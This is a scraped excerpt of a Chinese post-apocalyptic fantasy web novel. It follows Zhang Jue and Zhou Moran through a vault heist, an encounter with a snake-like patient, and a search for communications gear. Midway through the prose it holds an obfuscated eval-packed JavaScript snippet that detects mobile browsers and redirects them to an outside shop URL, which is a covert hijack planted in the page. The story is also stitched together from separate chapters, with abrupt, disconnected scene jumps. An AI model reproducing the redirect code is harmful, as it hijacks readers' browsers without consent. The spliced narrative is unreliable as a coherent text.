开过两个片区后，爆炸没有小，反而朝着她这个方向延伸过来，最后一声，直接在她脑袋顶炸开，然后一束影子咻地砸在巷子拐角处。 干枯的手在空中茫然抓着，没两下颓然摔下去。 周蓦然看章玦，“救吗？” 不救的话，后面路炸断了，她们只能从人身上碾过去。 “你去把他搬过来。”章玦吩咐。 周蓦然溜下车，伏低身子仔细避让流弹，到了人跟前，俯瞰流浪诗人的脸，啧了一下：“老头，活着吗？” 流浪诗人哎呀翻个身，后背都被炸模糊了，哭嚎：“没死，没死。” 周蓦然搀扶起他，往车边去，流浪诗人挣扎着喊：“霍瑟还没回来。” “你要等他？”周蓦然松开他的肩膀，说：“你要等就找个安全的地方等，我们等不起。” 流浪诗人瞥车里的章玦，哭唧唧：“这样吧，你们载我一段路，到中央大街，我约了他在那里汇合。” 周蓦然又扶起他，章玦打开后座车锁，将木偶往后塞，让流浪诗人趴着。流浪诗人碰上木偶诡异的童脸，惊恐过度，加上失血，嗷一下晕过去。 章玦无奈，这人胆子这么小，当年也只配给她放风。她开车上中央大街，越开心里的违和感就越重。 这个人就像是半路上故意守着她，真晕假晕还真不好说。 中央大街，章玦打老远就觑见棕灰制服，立在破损百货大楼前，装模作样的招手。 流浪诗人恰恰在这个时候醒过来，一醒来就剥去外面脏污的袍子，斑斑血迹被剥个净，后背丝毫无损。 章玦眼角一眯，停下车，霍瑟迎过来，脸上和脖子上都挂了彩，滴滴答答的伤口，他仍旧噙笑看人，跟章玦打招呼：“活着回来不容易啊。” “献祭社的人呢？”章玦不合时宜地问，她与献祭社的人无关系，这人却处处与她过不去。 霍瑟端着一副好态度，正经道：“只是几只老鼠，抓到就全拍死了。怎么，你和献祭社的人有过节？” 章玦反问：“你觉得我和谁有过节？” 霍瑟抱住双臂，摇头：“你看上去跟哪方都合不来，从肤色上只能判断，你是东龙国的人。诗人说你以前在诺贝大学读书，是个正儿八经的研究生。” 章玦心想，她都不知道原身是个研究生，研究什么？ 霍瑟见她不反驳，俯下身子，敲着溜下一条缝的车窗：“戒备心不用这么强，我查过了，诺贝大学历届东龙国研究生的名单，恰好有个名字叫Jue的，专业的是新闻学。” “长官，如果你要调查我，至少给个理由。不然我没必要在这里和你讨论我的专业。”章玦催促后面磨磨蹭蹭的诗人下车。 “新闻学的人调侃‘你所看到的，只是它们想让你看到的’？难道黑影不也是这样吗？我们所看到的，真的就是我们所看到的吗？”霍瑟语气轻快，手指着天上不可名状的存在。 章玦强调：“人无法跳出自己的认知。” 霍瑟：“对，但总有人能跳出已有的认知。” 章玦皱眉，她认为霍瑟可能猜到她是文明向导了，遂想合起车窗。霍瑟手指压上来，窗玻璃瞬间将他的指关节压垮，章玦听见咔哒一下骨头的脆响。 这人疯了吗？ 章玦立刻摇下车窗，霍瑟揉着手抱怨：“我还没说完呢？之前就想问你，有没有兴趣一块去抢末日福音的金库？我以为你会答应。” 章玦看他三两下在骨头上正位，知道霍瑟有办法搞到她的行踪，被一个联邦的官员死盯不放，不管什么原因，她暂时是回不了怪癖学园了。 “去啊。”她答得爽利。 章玦和周蓦然走出庄园，悬崖不是抛尸的场地，下面有很多礁石阻拦，最有可能是下面的一段靠海的礁石路。 “沿着海走走看，如果温顿是海妖，那我想我知道她的执念是什么。”章玦邀周蓦然往下走。 周蓦然拿脚碾开冥纸，潮湿的部分黏在地表，说：“应该是两三天前来过。” 这事处处透着诡异，答案昭然若揭，东龙人抛的尸。 周蓦然骤然喊了一句：“你看上面！” 章玦顺着周蓦然手指往上看，挑了挑眉，一具倒挂的木乃伊毫无征兆地出现在头顶。 挂木乃伊的绳索打在岩石钉上，这种悬吊方式暗示着冥纸是用来祭奠它，而不是海妖。 东龙国的人跑来这儿祭祀一个木乃伊？是凶手，还是亲友？ 周蓦然喊：“怎么办？” 刚问完，章玦已经举枪，普通的子弹足以射断钉子。嘭一下，钉子松动，尸体重重坠在崖壁前。 章玦早被癖人们锻炼出强大的心理素质，当即跳下去，用钢爪隔开布条。 周蓦然躲开几步，听见章玦说：“行了，没尸变。” 周蓦然转过来，布里边黑焦一具，完全看不出人形了，“这是丹普修女？” “有可能。”章玦仔细观察，发现这人腰部悬着一把小铁锤，还有一只钢笔。 “我想，丹普修女是个东龙人，祭祀她的应该是她的亲人。”章玦将主楼里房间的样品与它身上物品对照，和周蓦然推理。 到这儿为止，海妖故事就铺展不下去了，历史像潮水一遍遍刷洗前尘往事，遗留给后人想像的空间狭小缥缈，每个线索无非是沙滩上被冲淡的脚印。 章玦将布裹回去，忍住身体疼痛，用雨衣将木乃伊再裹一层带走，希望丹普的后人再来祭拜时，能别太生气。 回到码头时，夕阳垂落在海平面上，周蓦然茫然问章玦：“这种情况下，咱们还出海吗？” 章玦也在想，如果没猜错，巨大菌菇应该是感染了的温顿太太，而那些海妖则是当年夭折，被其感染了孩子。互为阿贝贝和癖人，这种情形，她早前还在猎验团的公开档案中看到。 这种情况下，它们是无法分离的，意味着很可能章玦没办法带回癖人，也没办法清洗执念。 “现在就是赌人蛇不是海妖的一部分。”章玦郁闷道。 周蓦然：“就算不是一部分，它们之间肯定也有关系。” “赌的就是它们有关系。”章玦定下主意：“你把微型炸弹都给我，我下水，你在船上等我信号，必要时候把木乃伊沉下来。” 去是可以去，但怎么去？ 章玦与周蓦然被霍瑟领进百货大楼旁的钟表店。 钟表店内至少有上百个大大小小上了时钟，时间分毫不差。霍瑟领人进到后面的工作室，将桌上钟表残骸清空，问章玦：“来点喝的吗？” 流浪诗人先喊嗓子疼，霍瑟进隔壁房间倒腾。 “怎么有那么多表？”周蓦然对钟表一类精准仪器很敏感。 霍瑟在隔壁房间回答：“时间在污染区里是一个很好的变量，如果它变了，说明污染监测的数值肯定也变了。” 周蓦然恍然，说：“所以这里的时钟都是上发条的。” “bingo。”霍瑟从旁边端出一个大水壶，四个杯子，给每人斟了一杯速溶咖啡。 章玦忽然开口：“这些时钟都是你的？” 霍瑟笑笑：“爱好而已。” “卖吗？” 霍瑟提眉：“你想要？” 章玦点头，霍瑟很大方，当即表示：“送你，当作合作见面礼。” 闲话叙完，章玦进入正题：“抢末日福音的金库就只有我们四个人？” “不够吗？”霍瑟放下咖啡杯，将一张地图摊开，上边横横竖竖已经做满标记：“我也不是没有提前做准备。守住这片区的老大是金极乐，在末日福音里当机械飞升部的领导，他是出了名的捡垃圾狂，所以他的私人金库肯定不少好东西。” 机械飞升？除了修仙飞升，末日福音还有其他飞升模式？果然也是一群疯子。 “金极乐最近和献祭社的人在抢一个S级的癖人，大多数武力都部署到车站周围，所以金库这块的守卫不会多。” 章玦提声：“金库的安保设施呢？” 霍瑟：“之前我也犯难。不过现在你们这边不是有个信息员吗？我认为没问题。” 周蓦然立刻摘下责任：“金库的安保系统肯定很严密，将希望全寄托我身上可不行。” 霍瑟哈哈笑，将一段拍摄的视频点开递到周蓦然面前，这是他之前偷摸到金极乐家门口，解锁无果的视频。 “你把末日福音想得太严肃了，他们血液里流的全是酒精，脑袋里塞的都是狂欢，这种级别的安保，我有信心你应该可以应付。” 周蓦然沉默，视频里的密码锁确实不高级，可谁知道里面又是什么样子，她看向章玦：“玦姐，去吗？” 流浪诗人打了咖啡嗝，很不理解地问：“我听人家说金极乐的金库里有大批的弹药和药物，还有成箱成箱的黄金，为什么不去？” “什么时候动手？”章玦问霍瑟。 霍瑟在杯口打转的手指终于安定下来，两掌一击，说：“看场戏再走。” —— 屋顶，章玦趴伏在栏杆后边眺望铁轨穿过雾蒙蒙的平原，与河流并入山谷。 铁轨的另一边，红色列车贴着地面滑行而来，站台一群荷枪实弹的人已经做好集中射击的准备。 车还未到站，枪声渐渐密集，车上和站台的两拨人加大火力互相袭击。 霍瑟看戏似的，指点讲解：“车里载的就是S级的癖人，献祭社刚从联邦手里买过来的。” 章玦偏头，打量他，联邦买卖癖人这事是随便可以说出口的？ 霍瑟解释：“联邦自由城有很多分部，不是每个部门都希望对方好过。一直以来病友管理中心就一直给外使馆找麻烦。” 章玦听了一耳，注意力仍在列车上。S级癖人与A级癖人差距到底有多大？ 枪子弹在车皮上，发出铛铛铛回响，车身轰地震颤，里面有什么东西苏醒了。 空气内泛开腐肉味，车轮滚滚，碾过的地方印下了一簇簇赤脚印，属于人类的脚掌，但足有半米大，印迹之上留下浓绿的水坑。 章玦难以理解，什么生物能藏身列车内，脚却在外面行走。 霍瑟饶有兴趣地看着那排足迹越来越靠近车站，道：“车里的东西叫‘伯爵夫人’，听说是能通过精神污染来让信徒怀孕并且分娩出一滩脓汁。” 章玦一听便反胃，说：“这种东西放在园内也是一个大隐患。” 霍瑟却道：“它所造成的精神污染倒是其次，更重要的是，它的文明程度已经超越人类，文明向导要驯服它几乎不可能。所以说，超出认知的事情，普通人用普通方法肯定办不成。” 章玦：“末日福音和献祭社的人既然知道控制不了它，为什么还要抢？” “这就要问他们的老大啦。”霍瑟正色看着车缓缓靠站，伯爵夫人的脚印踏上了站台。 枪击声打在车皮上密集似雨点，末日福音的人打算强攻下车门。 然而，劲爆的事就在此刻发生，站台上忽然回旋出狂欢的呼号，高亢到近乎尖叫。章玦脑子嗡嗡，胃酸加重。 霍瑟招呼三人：“戏看完了，走吧。” 流浪诗人死死扒住栏杆，说：“正开始呢，让我见见伯爵夫人的样子。” 霍瑟一巴掌打在他后脑勺，将人打清醒过来，“再不走，精神污染就扩散到这边来了。” 章玦与周蓦然迅速起身，腐肉味更加浓郁了，站台上那些怪叫声，已经超出任何人类会发出的频率，他们还是人吗？或者已经成为伯爵夫人的分娩动物？ 直到跑远，章玦才敢开口呼吸，问霍瑟：“一定有什么方法能暂时安抚它吧？” 不然联邦的人不能将它放到车上，再载着它跨越中大陆。 “圣觉梦呓以上等级的文明向导自然有办法管理这种超S级别的怪物。”霍瑟赶路之余，观察章玦反应。 章玦记得自己的等级是“凡觉-记录者”，圣觉应该是比凡觉更高阶的文明向导。 她目前能掌控的只有“动动手指”和一本病历档案，通过记录或者修改已有记录来管理癖人。 “文明向导分三阶，初阶凡觉又分出三期，分别是记录者、引渡者、改造者。中阶圣觉，包括梦呓师、世语师、希音师。高阶神觉，从已有记载，我也只知道‘神觉明光藏’这号传说的人物。” 霍瑟慢慢道来，为章玦解答了隐藏的疑惑，也让章玦认识到面对的敌人有多强。但凡被一个梦呓师发现怪癖学园的存在，会是什么后果？恐怕连地皮都被人铲了。 —— 金极乐的私人俱乐部大大方方开在政府大楼的顶上，加盖的灯球似建筑，每个角度都反射出虹彩。 四人从远处清点守卫人数，大楼下面有十个。霍瑟紧闭双眼，眼皮上浮现纹路，再睁开眼，很确定地说灯球内部有五个人，没有癖人。 霍瑟是侦查员。章玦见过夏炎炎的异能，霍瑟与她一样，都是通过体内觉醒的“艾布之眼”来侦查环境。 但也有不同之处，霍瑟的纹路比夏炎炎更复杂。艾布之眼一共七阶，每觉醒一阶等于多开一个眼睛，想必霍瑟体内的眼睛比夏炎炎多。 “我说的没错吧，末日福音把人都调去车站了。动手吧。”霍瑟说着解开西装，从腰间取出折叠的绳索钩子，一甩，另一头紧紧抓附在墙体钢筋上。 章玦看他单臂勾住流浪诗人的腰，整个人荡出去，轻巧落在灯球的避雷杆旁。 章玦取出家主手枪，上次在斗兽场刚缴获了一个膨胀子弹，正好派上用场。她对着死气沉沉的木偶打上膨胀子弹。 章玦与周蓦然抓住木偶四蹄，飘上空，然后章玦用文明向导的伸缩教鞭，指导木偶飘动的方向。 周蓦然一经登陆灯球上，便掏出高频切割机，将玻璃罩卸开一个口子，流浪诗人被留在外面放风，其余三人溜入球内。 周蓦然一下地，先拦住章玦，拨起头发，戴上一个银质耳机，章玦靠近看，周蓦然的耳后也有纹路。这是不同异能者的标志。 周蓦然沿墙摸索，摸准了一个地方，招章玦和霍瑟过去。“这间房背后藏了□□，真正藏东西的是更里面的密室。如果我们强行从第一道门突破，一进去就会引爆。” 霍瑟竖起拇指，低声道：“果然找你来没错。” 周蓦然摇头：“找我来也只能辨别出□□的位置，现在门那边进不去，破墙而入也不行，怎么办？” 两人大眼瞪小眼，一下子没主意。 霍瑟扭头问章玦：“你有什么法宝吗？” 他言外之意是让章玦找找能隔空取物的阿贝贝子弹，但他不明说，章玦就装傻，摊手：“没有。” 霍瑟直起腰，没辙了，说：“这样吧，我去下面把天花板炸开一个洞，从洞里进去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054680|193904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “火线埋了一整个屋子，你从哪个地方进去都会被炸成无数片。”周蓦然劝住他。 章玦觉得可笑，偷到人家家门口了，结果空手而归，当来旅游呢？ “门在哪里？” 周蓦然迟疑了一下，立刻用紫外线手电筒在墙上打光，红一片黑一片的涂鸦墙上有一块反射光。 章玦和周蓦然说：“开门之后能撑两秒不炸吗？” 周蓦然想了想，肯定点头，“我试试。” 章玦点头，能撑住两秒就行。 “牛头马面。”不出十秒，木偶从地毯里爬出来，骑着木马，戴着牛头面具。 它一看见玻璃罩外的阳光就喳喳喳怪叫，被章玦一脚摁在墙上，堵住它的嘴。 周蓦然迅速在门上寻摸密码键，开锁不是难事，难的是最后一下，她要与章玦配合默契。 门一开，章玦抓准角度，一脚将牛头马面踢进去。周蓦然用磁力枪钉上没有把手的门。 然后三人拔腿就跑。屋内牛头马面喳喳喳喊得撕心裂肺。 轰鸣震颤，章玦揉散耳鸣，今天听到的爆炸声比过去一辈子听见的都多。忽地神经一跳，记忆里出现更多更剧烈的爆炸，爆炸好像惹来了可怕的大东西…… “玦姐，牛头马面没事吧？”周蓦然心生不忍。 “过去看看就知道。”章玦定了定神，爆炸已经过去，金极乐的守卫出现，霍瑟先一步奔上去解决。 周蓦然解开磁力钉，踹开门，四壁都是炸损的金属碎屑。章玦走到炸得奄奄一息的牛头马面旁，帮它将没接稳的胳膊接回去，然后拽住它的脖子，放到快散架的木马上，拍着木马头，吩咐：“走。” 木马嘚嘚，趔趔趄趄朝前走。 霍瑟从外面过来，擦拭掉手上的污迹，眼里不见喜色，说：“五分钟搬完。” 周蓦然打开第二道密码锁，门一开，瞳孔里反射出金灿灿的光，她人生第一次见富豪的收藏室。 周蓦然嘴快说：“抱歉，我也不认识那么高级的人才。精神调剂师全球大概也就二十多个，很抢手的。” 章玦犯难，全球二十多个，大海捞针，可是没有精神调剂师，开不了药，也没办法给癖人做长期的精神干预，等于怪癖学园只收病友，不治疗，长久之后必定会让怪癖学园瘫痪。 “对了，我听说伊布那块地方发生动乱，之前伊布是有驻扎的安抚师实习团的，我们要不要去碰碰运气？” 周蓦然对这个提议有几成把握，谈话的气质也稍稍老成，将地图放大，指给章玦看伊布的地点。“离这里大概五百多公里。” 章玦思考得更多，五百多公里，开车是三天多，整座怪癖学园搬迁需要的时间更长，大概要十天，不过她没有与周蓦然细说怪癖学园能移动这件事，只是问：“真要去，需要做什么准备吗？” 总不能两人一条龙一条勤劳的鬼就出发吧。章玦盘算，没弹药没补给没资源，难道一路上化缘过去？ 结果周蓦然给她提了一个更高的要求：“那个地方没网，就算去了，我们也联系不上人家，得先把我们院的通讯，还有跟对方对接的线路搞好。” “那这个是你的专业。”章玦托手，表示你行你上吧，这块她不懂。 “目前全球地面通讯都是靠天上那两颗还在续航的卫星，但是黑影笼罩下，依靠太阳能充电的时间特别短，航天器也用不了，所以大家都是且用且珍惜。” 周蓦然突然给章玦普及目前通信的难题，继续说：“联邦又拦截了很多地方的信号，所以怪癖学园要对外联系就很困难。” “所以我们要自己建移动站，就需要宽带卫星终端，无线电接收器、接入器这些。就算有了这些，人造卫星作为中继的时间也很短，范围不大，只要转入黑影的区域，就会失联。” 章玦听后，直击要点：“你说的那些终端之类的东西要去哪里弄到？” 周蓦然：“只能去通信公司或者海上油田那些地方找找看。” 章玦嗯了一声，这事宜早不宜迟，本想说休整片刻就出发，回神见周蓦然还背着大包，站在灯下，阁楼只有单间一张床，顿时良心浮现，朝她说：“休息一晚上，明天再打算吧。” 周蓦然浑身散架，一屁股坐在唯一的椅子上，嘴唇干巴巴，她嗅了嗅身上味道，又偷眼看四周，问章玦：“玦姐，有水和洗手间吗？” 章玦要是说上厕所只能下楼去外边上，周蓦然觉得自己会当场崩溃。 章玦揉了揉鼻尖，想说几句体面话，可是家就这么破，一眼看到底，推开墙上一道门，说：“洗手间有生活用水，喝的就只有瓶装的过期水。” 周蓦然舒一口气，道声好，起身去洗手间，忽然听见章玦在后面说：“不要有负担，怪癖学园过了晚上零点就会自动填充生活用水，癖人们住的地方也会自动清洁干净。” 这是周蓦然进院以来听到的最好消息——员工不需要打扫园内卫生。 进了洗手间，周蓦然赫然发现手臂上的伤口痊愈了大半，这才真正让她感受到入职怪癖学园的好处——阁楼才是安全屋，进入阁楼，受多重的伤都有救活的机会。 等到真正躺下，周蓦然缩在睡袋里，深刻意识到找精神调剂师的重要性，真是太他祖宗的吵了！ 说好的婴儿般的睡眠呢？ 大概是太累了，周蓦然在鬼叫声中昏睡过去，起床时，天仍旧黑着，楼下已没了聂病友的哀怨哭啼，又多了一种新的声音—— “我厌恶这世间的规矩，凭什么拿那些标准来规范我，我不服，我不服！” 这阵怒吼之后是一阵铛铛有力地弹奏，铮铮锵鸣，满腔怨懑。 阁楼门被拉开，章玦眼下两团青黑，想来昨晚也没睡好，周蓦然问：“怎么回事？” 章玦憋着脸，很郁闷，青蛇“犯病”了，她早上下去本来想看看它伤口，到门口发现水越漫越大，水中飘散浓稠的黑丝，章玦怕是污染物，又返回楼梯，脚还没从水里拔出来，身后门吱呀打开…… 灯光闪烁，她缓缓回头，青蛇立在门口，这是一张过分妖艳又诡异的脸，瞳仁狭长，唇红似血，一夕之间，它长高了，纤细身材，身前横卧一把电吉他。 长长指甲在弦上勾拨，铮一下，弹在章玦的神经上，脚下已无台阶，她与青蛇在医园内。 医院走廊风尘仆仆，皎皎一道倩影走过来，空荡荡的白大褂在青蛇面前停下，喊了她一声：“你休学出去打工也不和我说一声，现在知道还有我这个姐姐了？” 青蛇拉长大笑脸：“我只知道有个姐夫当了医生，我不知道还有个姐姐会给人治病。” 白大褂里有一条白影子，颇为威严：“人要进取，要融入社会，给了我们机会就要做个有价值的人。” 青蛇金瞳凌厉：“你凭什么要求我和你一样，我不是读书的料，不会阿谀奉承，不懂人情世故，我就不能活了是吧？这个社会就不欢迎我了是吧？” 白姐姐很痛心：“那你也知道这是人的社会，这是做人的规矩。” “规矩都是他们定的，我也可以不遵守。”青蛇浑身妖气。 “许大夫，你们家出了一头不服管的母老虎啊。”两条黑影徐徐步来，被唤许大夫的影子对年长者好言解释：“法园长，内子为了我吃了不少苦，她的妹妹入世浅，你不要理她就好。” 章玦立在三团影子和一条蛇中间，随时警惕青蛇炸开的鳞片刀子。 忽然，来回走动的白影子恐慌骚动，一条条从章玦身上穿过，青蛇的脸逐渐融化。白影子着了火呼号“好痛啊、好痛啊”…… 白大褂与许黑影来回飘荡，青蛇拖住白大褂空溜溜的袖子，喊：“姐，我疼。” 许黑影在一旁脚不沾地，飘飘曳曳：“你不听你姐姐的话，硬要去那种鬼地方演出，你自找苦吃。” 青蛇仍旧喊疼，火烧进她的鳞片里，白大褂安慰她：“患者很多，已经快排到你了，再忍忍。” 法黑影从过道一边抻过来，整个头颅横穿过章玦身体，在青蛇上空发号施令：“你不遵守人的规矩，便要尝尝不遵守规矩的苦。” 过道中瞬间填充了许多白影子，青蛇与白大褂之间被无限拉长，章玦看着青蛇在脚边打滚，火烧进了它的眼睛，它不停喊疼。 看着一条蛇活活烧死绝非什么有趣的事，章玦拧眉，看着它挫骨扬灰，看着它又逐渐凝聚成一条蛇龙，然后睁开眼，发出尖利的嘶叫：“我不服！我不服！” 章玦急急后退，巴掌大的绿色东西战斗力极强，逮着什么东西都能疯狂撕咬，直到猎物被掏空成骨架子。 章玦拔枪，发射“人生如此子弹”，死气沉沉的乐曲淹没任何躁郁的情绪，青蛇成了一条了无生趣的死蛇，瘫在墙角。 它的伤势扩大，不过情绪是稳定了，跟章玦讨东西：“喂，有烟吗？” 章玦一步步退出房间，手上捏着半截烟，挺住胆子回它：“你赶紧戒了吧，园内不准抽烟。” 【没收违禁品“吸烟有害” “吸烟有害”：让某个生物抽吧，它将收获焚烧撕裂的肺和麻痹的神经。】 “呵，你也挺能扛的。”青蛇狞笑，“还是说你对这首曲子免疫？” 这句话像一颗迎面而来的石头，不偏不倚地击中她的额头，激起阵阵抽搐的疼。 疼痛的深处流淌出音符，她绝不只听过一两次，脑壳深层的东西被翻开，新鲜潮湿的记忆暴露出来。 乐曲中混杂了絮絮叨叨的低吟，是一段不完整的话，没办法仔细听，一旦想辨认话里的意义，脑皮层就阵阵发紧，神经打岔，完全无法集中精神。 章玦揪住脑仁，整张皮都要被一股巨大的力量撕裂，不行，不能听下去！ 她捂住耳朵，返身跑上楼。踏上台阶之后，乐曲停了，取而代之是青蛇不甘地吼叫。 周蓦然听章玦三言两语把青蛇的情况说了，抹了一把脸，彻底清醒，园内的情况太不乐观了。 章玦进来拆开两袋面包，递了一袋过来，说：“还有两小时就有阳光，你把地面站的位置都标出来，我们过去找。” 院门再次滑开，周蓦然坐在副驾驶，抬了抬鸭舌帽沿，稚气收不住，好奇打量门口，那儿没有夏炎炎，也不是昨天进来的地方。 章玦束着高马尾，俯低身子，迎面承接挡风玻璃外的阳光。这抹阳光多么难得，无论何时，章玦都能从中感受到生之喜悦。 门外连接的是一段郊区，两边是废弃的工厂，或许是没有重金属污染，野径幽幽，道两旁黄花一丛丛，浸在光里，模样喜人。 章玦启动车子，朝东张西望的周蓦然解释：“怪癖学园每两天能刷新一次位置，范围不能超过五十公里，可选的位置也不多，毕竟外观不会变。” 周蓦然哦了一下，问：“那万一刷新了，我们还怎么回来？” 章玦瞥一眼周围环境，很安静，连片的工厂锈迹斑斑，若是里面跑出什么敌人，防不胜防。每次怪癖学园的设置地点都是在赌。 “园长不回来，怪癖学园就长不了腿，但要是我回来了，你没回来，那就只能拜拜咯。” 她嘴角碾一丝笑，浑身沉郁一扫而空。周蓦然反倒抓紧安全带说：“我保证不掉队。” “放心吧，好不容易招到个人，你想走我都不能放你走。”章玦隐去后半句，有些话不适合拿出来吓唬刚毕业的小孩。 郊区与市区之间靠桥连通，过了桥氛围顿时紧张，章玦望着偶尔疾驰的飞车党，还有标志性的爆炸头，眼皮突突地跳，这儿是末日福音的地盘。 挡风玻璃显示的位置需要她开车经过几条主干道，最后才能到达一个油田开发的中控大楼。 周蓦然拉低身子，她正在搜附近的子网，看能不能就近找到电缆光纤一类的东西。 “玦姐，过两个街口之后左拐，那里有联邦外使馆，他们拉的是自己的光纤。” 章玦嗯了一下，车子却忽然右拐，往小巷里面去。 周蓦然重重晃在挡风玻璃前，抓紧扶手，前后左右都看了，问：“怎么了？” 章玦盯着墙上投下的光影，西照的阳光能在路上打出正午的影子，那真是有鬼了。 “我们碰上污染区了。”